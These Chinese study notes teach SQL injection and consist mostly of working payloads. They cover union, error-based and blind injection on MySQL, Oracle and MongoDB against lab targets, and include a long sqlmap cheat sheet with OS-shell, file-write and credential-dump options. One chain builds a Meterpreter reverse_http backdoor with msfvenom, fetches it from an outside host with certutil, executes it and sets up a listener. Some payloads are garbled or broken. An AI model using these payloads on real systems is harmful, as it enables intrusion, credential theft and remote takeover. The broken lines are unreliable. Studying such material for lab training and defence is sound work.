1 SQL注入
sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。
2 注入时信息收集
判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效
在mysql5.0以上版本存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。
数据库中“.”代表下级
select * information_schema.tables;记录所有表名
where table_name=''筛选条件
select * from information_schema.columns;记录所有的列名
where column_name=''筛选条件
wherw table_schema=''筛选条件
信息收集
判断数据个数order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,…
查询数据库 version()
数据库名字 databaase()
数据库用户 user()
操作系统 @@version_compile_os
3.MYSQL注入
在数据库中输入
show databases; ----显示数据库名(每一行对应一个网站)
use 数据库名; ----使用该数据库
show tables; ----显示数据库里的表名
select * from 表名;---显示表中所有数据
select 列名 from 表名;-显示列中的所有数据
1、注入流程
--+
或#
为注释符
(1)判断注入
如何判断注入点
and 1=1 页面返回正常
and 1=2 页面返回错误
可能存在注入点
(2)猜解列名数量(字段数)
在网站id后加入order by x --+ 最后取x错误与正常临界的的正常值 x的值为列的数量
(3)报错猜解准备
例:http://124.70.91.203:40972/new_list.php?id=tingjigonggao union select 1,2,3,4 --+
124.70.91.203:40972/new_list.php?id=tingjigonggao and 1=2 union select 1,2,3,4 --+
(4)信息收集
根据报错的数字,将想得到的信息的sql语句填入报错数字的位置,得到的便是相应位置的信息。
操作系统:version()
数据库名:database()
数据库用户:user()
数据库版本:@@version_compile_os
例:http://124.70.91.203:40972/new_list.php?id=tingjigonggao and 1=2 union select 1,database(),version(),4
(5)数据注入
在MYSQL5.0以上的版本中,存在自带数据库名为information_schema,它存储着所有数据库名,表名,列名,可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中“.”代表下级
select * from information_schema.tables;记录所有表名
where table_name=''表名筛选条件
select * from information_schema.columns;记录所有的列名
where column_name=''列名筛选条件
where table_schema='数据库名'字段信息筛选条件
2 MYSQL 普通注入实例(sqlilabs less-2)
1 观察是否有注入
可以看到在输入?id=1 and 1=2
时,页面发生了错误,说明存在sql注入
2 信息收集
首先查看有多少列。运用order by
语句,
可以看到在输入?id=-1 order by 3
时页面是正常的,在输入?id=-1 order by 4
时页面是不正常的,说明列数为3列
所以在进行union注入时,要写selece 1,2,3
由图中我们可以看出2和3处是输出点,所以我们可以在2和3处写入我们的注入语句
将select1,2,3
中的2和3
替换为sql语句
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,@@version_compile_os,database()
http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,user(),version()
到这里,信息收集就结束了,由图中可以得出
操作系统:win64
数据库名:security
数据库用户:root@localhost
数据库版本:5.7.26
数据库版本5.0以上自带数据库information_schema
其中包含
information_schema.schemata 数据库
schema_name 数据库名称
information_schema.tables 数据表
table.name 数据表名称
table_schema 数据库名
information_schema.columns 数据列
table.name 数据表名称
table_schema 数据库名
column_name 数据列名称
3 获取表名
http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
4获取列名
http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,group_concatcolumn_name),3 from information_schema.columns where table_name='users' and table_schema='security'
5获取数据
http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where database()='security'
也可以使用limit获取数据http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where database()='security' limit 1,1
前面的1为获取第几行数据后面的1为获取几个数据,也可以用http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from security.users
查询
3 MYSQL跨库注入实例(sqlilabs less-2)
只有当数据库用户为root
的时候才能跨库注入
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
爆出所有数据库
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'
获取pikachu数据库的表名
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'
获取pikachu数据库users表的列数据
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users
查询pikachu数据库的user表的数据
4 MYSQL文件读写注入实例
文件读写操作
load_file(''):读取函数
into outfile或into dumpfile:导出函数
获取路径的常见方法:
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等
报错显示:一般网站报错会显示路径
遗留文件:站长调试用的文件(可以用扫描工具进行扫描得到)
漏洞报错:先搞清楚对方用什么搭建,在到网页进行查找相关漏洞
平台配置文件:
爆破:windows:
d:/wwwroot/......
linux:
/var/www/.....
常见读取文件列表:
查找文件路径方法:
使用工具:有一些渗透测试工具可以帮助查找后台目录路径,例如DirBuster、DirSearch和Gobuster等。这些工具会使用字典文件中的常见目录路径进行扫描,并列出任何找到的目录。
使用搜索引擎:可以使用Google等搜索引擎来查找公开的后台目录路径。在搜索框中输入“site:网站域名 后台路径
”,例如“site:example.com/admin”,即可搜索该网站的后台路径。
magic_quotes_gpc:
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,可以将路径转成十六进制绕过。
例:
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\PhpStudy\\phpstudy_pro\\WWW\\sqli\\sqli-labs-master\\sql-connections\\db-creds.inc'),3
读取本地文件
http://127.0.0.1:8888/Less-2/?id=-1% union select 1, 'x' ,3 into outfile 'E:\\PhpStudy\\phpstudy_pro\\WWW\\sqli\x.php' --+
本地文件写入(可以写入一句话后门代码)
可以在x.php中x用后门代码代替,运用工具进行连接,会得到很多数据
5相关防注入
1 自带防御
magic_quotes_gpc:
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,可以将路径转成十六进制绕过。
2 内置函数:int
过滤:is_array is_int is_integer(字符型,数字型)
3 自定义关键字:select
str_replace (‘1’,‘2’,)将字符串1用字符串2代替
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是数组,那么它将返回数组。
如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。
4 WAF防护软件:安全狗,宝塔等
4 sqlmap,Oracle,Mongodb,DB2
Union联合查询
order by 定字段
and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
判断第n个字段的类型,依次类推即可
确定回显位,假设当前共2个字段,全是数字型,判断方式如下:
and 1=2 union select 1,2 from dual
假设回显位是2,爆当前数据库中的第一个表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual
爆当前数据库中的第二个表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual
以此类推去爆第n个表
爆某表中的第一个字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual
爆某表中的第二个字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual
爆其它字段以此类推
爆某表中的第一行数据:
and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串
通过字段名找到对应表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;
查询第N行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)
当前用户:
SELECT user FROM dual;
列出所有用户:
SELECT username FROM all_users ORDER BY username;
列出数据库
SELECT DISTINCT owner FROM all_tables;
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
列出字段名:
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
定位DB文件:
SELECT name FROM V$DATAFILE;
1、Oracle
实例:墨者
order by 定字段:首先输入
http://124.70.22.208:42256/new_list.php?id=1 order by 3
发现页面发生错误,说明存在sql注入
测回显:输入http://124.70.22.208:42256/new_list.php?id=1 union select '1','2' from dual
判断该数据库中有多少列
从图中看出爆出1和2,有回显
爆库:输入http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
从图中看出在回显2的地方爆出库名
模糊爆库:在注入点输入的sql语句后加入 and table_name like '%user%
所输的全部语句为http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
得到库 sns_users
爆列名:http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users') from dual
得到列名USER_NAME
继续爆其他列名:http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users' and column_name not in('USER_NAME')) from dual
得到其他列名为USER_PWD
取得信息:http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"
继续查其他信息:http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name<>'hu'
http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users” where user_name<>‘hu’ and user_name<>‘mozhe’
2、Mongodb
墨者Mongodb为例
源码:
参考:https://www.runoob.com/mongodb/mongodb-query.html
测回显:/new_list.php?id=1'});return ({title:1,content:'2
爆库: /new_list.php?id=1'});return ({title:tojson(db),content:'1
爆表: /new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'1
爆字段: /new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.getCollectionNames()返回的是数组,需要用toison转换为字符串
安
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
3、sqlmap:
使用:
-sqlmap 数据库注入数据猜解
-sqlmap 高权限注入读写执行
-sqlmap高权限注入联动MSF
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
思维导图:
常用命令:
基本操作笔记:-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定sql命令
--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互shell
--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取win系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:
4、DB2
SQLMAP工具注入
实例:墨者:
1.清除缓存sqlmap -u "url" --purge
2.判断数据库注入点sqlmap -u "url"
3.判断注入点权限
sqlmap.py -u "url" --privileges #查看权限
或sqlmap.py -u "url" --is-dba #是否是数据库管理员
若返回true
则可以进行文件读写,命令执行
若返回false
则
①需要sqlmap.py -u "url" --dbs
获取所有数据库
②sqlmap.py -u "url" --current-db
获取当前数据库
③sqlmap.py -u "url" --tables -D "指定数据库的名"
获取指定数据库中的表。(sqlmap.py -u "url" --tables
获取所有数据库中的表)
④sqlmap.py -u "url" --columns -T "指定表的名" -D "指定数据库的名"
获取指定数据库中的指定表的列名
⑤sqlmap.py -u "url" --dump -C "指定的列名" -T "指定表的名" -D "指定数据库的名"
获取指定数据库中的指定表的指定列的数据
5 sqlmap文件读写
1.将网站数据包用burpsuit抓取,在sqlmap目录下创建.txt文件
,复制粘贴到创建的x.txt
文件中并在注入的地方后加*
保存例:username = admin* &password=12345
2.判断数据库注入点,输入sqlmap.py -r x.txt
3.判断注入点权限
sqlmap.py -r x.txt --privileges #查看权限
或sqlmap.py -r x.txt --is-dba #是否是数据库管理员
若返回true
则可以进行文件读写,命令执行
①执行命令sqlmap.py -r x.txt --os-shell #系统交互shell
sqlmap.py -r x.txt --os-cmd=id #执行系统命令
sqlmap.py -r x.txt --sql-shell #执行指定sql命令
sqlmap.py -r x.txt --reg-read #读取win系统注册表
②文件读取
sqlmap.py -u "url" --file-read #读取指定文件
( sqlmap.py -r x.txt --file-read#读取本地指定文件
)
sqlmap.py -r x.txt --file-write'地址' #写入本地文件(sqlmap.py -r x.txt --file-write '/test/test.txt' --file-dest '/var/www/html/1.txt';将本地的test.txt文件(后门)写入到目标的1.txt)
(sqlmap.py -u "url" --file-write'地址' #写入本地文件(sqlmap.py -u "url" --file-write '/test/test.txt' --file-dest '/var/www/html/1.txt';将本地的test.txt文件(后门)写入到目标的1.txt)
)
4.与msf联动
(1)用msf生成后门文件
msfvenom -p windows/meterpreter/reverse_http LHOST=101.xx.xxx.211 LPORT=6666 -f exe -o sql.exe
(2)用sqlmap实现访问并下载后门文件
--os-cmd="certutil -urlcache -split -f http://101.xx.xxx.211/sql.exe D:/sql.exe"
(下载后门 certutil -urlcache -split -f http://101.xx.xxx.211/sql.exe D:/sql.exe
)
(3)用sqlmap–os-cmd让服务器执行你的后门文件
sqlmap.py -u http://127.0.0.1/blog/sql.php?id=3 --os-cmd="D:/sql.exe"
设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 101.xx.xxx.211
set lport 6666
5 Tamoer脚本,Base64,Json,md5
数字型:$sql="select * from sy_guestbook where id=$i"
字符型:$sql="select * from sy_guestbook where gTpL='$i' "
搜索性:$sql="select * from user where name like '%$name%' "
编码型:数据以编码值传递,发送编码值后,对方会进行解码后带入数据再进行sql语句执行,在注入时,要尝试对注入的payload进行编码再提交
加密型:数据以加密的密文去发送
格式型:JSON
JSON格式
curl -X POST https://api.zoomeye.org/user/login -d
{
"username": "foo@bar.com",
"password": "foobar"
}
JSON取得是键值所以需要考虑单引号闭合
JSON例:
源码:
<?php
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$passwd=$json->passwd;
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
$mysqli->select_db('user');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf-8');
$sql="SELECT username,paawd FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['paawd']}";
}
$result->free();
$mysqli->close();
}
?>
注入语句为:json={"username":"admin' and 1=2 union select 1,2,3#"}
编码型:
编码型注入时使用sqlmap需使用sqlmap自带的加解密代码文件
例:输入sqlmap.py -u “url” --tamper=base64encode.py
宽字节:
在接受语句后会加入/ \字符进行转义,导致注入语句失去功能
例:
在输入注入语句id=simple' order by 17 --' 时,传入注入语句后会变为select *from sy_guestbook where id='simple\' order by 17 --''所以正确的输入语句为id=simple %df' and 1=2 order by 17 --'
6 SQL注入之类型提交注入
在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入
,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
其中SQI语句干扰符号: ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法
1.参数类型实例
参数类型
数字,字符,搜索,JSON等
数字可以直接加在sql中
字符就要通过单双引号接入sql语句中
#字符型
若源代码如下:
$name = $_GET['X'];
$sql="select * from user where name='$name'";
输入语句:
?X=zzz and 1=1
则SQL语句运行为:
$sql="select * from user where name='zzz and 1=1'";
#搜索
若源代码如下:
$name = $_GET['X'];
$sql="select * from user where name like '%$name%'";
输入语句:
?X=zzz
则SQL语句运行为:
$sql="select * from user where name like '%zzz%'";
#JSON
2.提交方式
GET, POST(提交方式)
COOKIE, REQUEST, HTTP头等(数据包中的东西)
不同的请求方式请求的数据类型大小都不一样
对一个网站使用get方式去访问的时候,它是正常的,然后我们去测试它能不能用其它方式去传输,使用post方式去传参,如果这个时候,网站没有任何反应,还是以前的页面,就表示这个参数,它能够以post方式去接受,所以这个时候,我们就可以把这个注入,用post方式去注入。
大数据用post
get 不管前面是post还是其他的只要在网址后面就会输出
REQUEST是全部接受
$s=$_SERVER['HTTP_USER_AGENT'];
PHP写脚本时会用它来获取一些系统的值,比如操作系统的版本,IP地址,访问的脚本名,浏览器信息
HTTP头部注入,在http数据包里面的注入,数据库有接收数据包里面的某个地方,然后我们把注入语句写到相应的地方进行注入即可。
数据的大小以及类型决定提交方式
#部分语言接受代码块
<?php
header("Content-Type:text/html, charset=utf-8");
$get=$_GET['g'];
$post=$_POST['p'];
$cookie=$_COOKIE['c'];
$request=$_REQUEST['r'];
$host=$_SERVER['HTTP_HOST'];//当前访问url地址
$user_agent=$_SERVER["HTTP USER AGENT"];//浏览器信息
$ip=$_SERVER["HTTP_X_FORWARDED_FOR"];//8.8.8.8
echo $get."<hr>";
echo $post."<hr>";
echo $cookie."<hr>";
echo $request."<hr>";
echo $host."<hr>";
echo $user_agent"<hr>";
echo $ip;
?>
Java Spring 不同框架,不同写法method=RequestMethod.GET
method=RequestMethod.POST
request getParameter("参数名")
可以直接获取get请求的参数key对应的value
也可以从请求体中获取参数的key对应的value
Python flask不同框架,不同写法
requests.get
requests.post
request.args.get(key)//GET
request.form.get(key)//POST
request.values.get(key)//全部接受
3.SQL提交注入相关操作
1、后台要记录登录访问用户的IP地址
IP要进行代码的获取,获取到之后,IP会记录到数据库中
如果IP可以自定义数据,就可以尝试SQL注入
2、网站要根据用户的访问设备给予显示页面
接受各种UA信息,进行判断
将各种UA进行数据库整理后,用户访问后对比数据库中的UA值来进行判断是什么设备,可以尝试抓包将攻击语句写入UA信息中,就可以达到SQL注入
3、网站要进行文件上传,用户登录POST
由于上传的文件可大可小,如果采用get不满足,
用户登录接受账号密码后进行数据库查询后对比,可以将攻击语句写入账号密码,进行SQL注入
4.实例
POST注入
通过抓包得知数据传入方式或用户登录,文件上传一般
都为POST行为
1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至sqlmap目录下
2.列数据库:
sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n --dbs
注:-r表示加载一个文件,-p指定参数
3.猜表
sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n -D 数据库名 --tables
4.猜列
sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n -D 数据库名 -T 表名 --columns
5.猜数据
sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n -D 数据库名-T 表名 -C “列名” --dump
6POST注入
sqlmap.py -u "D:\python3.8\sqlmap\post.txt" --data "注入信息如:name=xxx&password=aaa“”
HTTP头XFF注入
尝试登录次数,更换IP
COOKIE注入
1两个必须条件
1:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
2:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
2过程
与sql注入过程相同
5.总结
数据库类型决定----攻击手法,payload不一样
数据类型注入----payload考虑闭合数据格式(符号的干扰)
提交方式---数据请求不同注入需要按照指定方式去测试
URL没有参数并不代表没有注入,有些数据会在数据包才有体现
http数据包的任何一个地方,只要被接受,就有可能产生漏洞
7增删改查,盲注(延时,布尔,报错)
一般用工具注入
1.盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面,需要利用一些方法进行判断或者尝试,这个过程称为盲注。
解决:常规的联合查询注入不行的情况
盲注分类
基于布尔的SQL盲注——逻辑判断:什么都没有
regexp,like,ascil,left,ord,mid,length
基于时间的SQL盲注——延时判断:有数据库输出判断标准
if(1=1,sleep(5),0)
基于报错的SQL盲注——报错回显:有数据库报错处理判断标准
条件:“or die (mysql_error())”该语句为容错语句,若该语句存在则可以使用报错回显
floor,updataxml,extractvalue
函数相关用法:
like 'ro%' #判断ro或ro....是否成立
regexp '^xxxaaasss[a-z]' #匹配xxxaaasss及xxxaaasss....等
if (条件,5,0)#条件成立 返回5 反之返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始截取字符串a的c位
substr(a,b,c) #从位置b开始截取字符串a的c长度
left(database(),1) database() #left(a,b)从左侧截取a的前b位
length(database())=8#判断数据库database()名的长度
ord=ascii ascii(x)=97#判断x的ascii码是否等于97
updataxml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
报错注入语句:
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
